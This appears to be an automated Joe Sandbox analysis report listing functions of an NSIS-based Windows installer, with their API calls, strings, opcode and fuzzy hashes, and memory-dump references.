Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
open, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
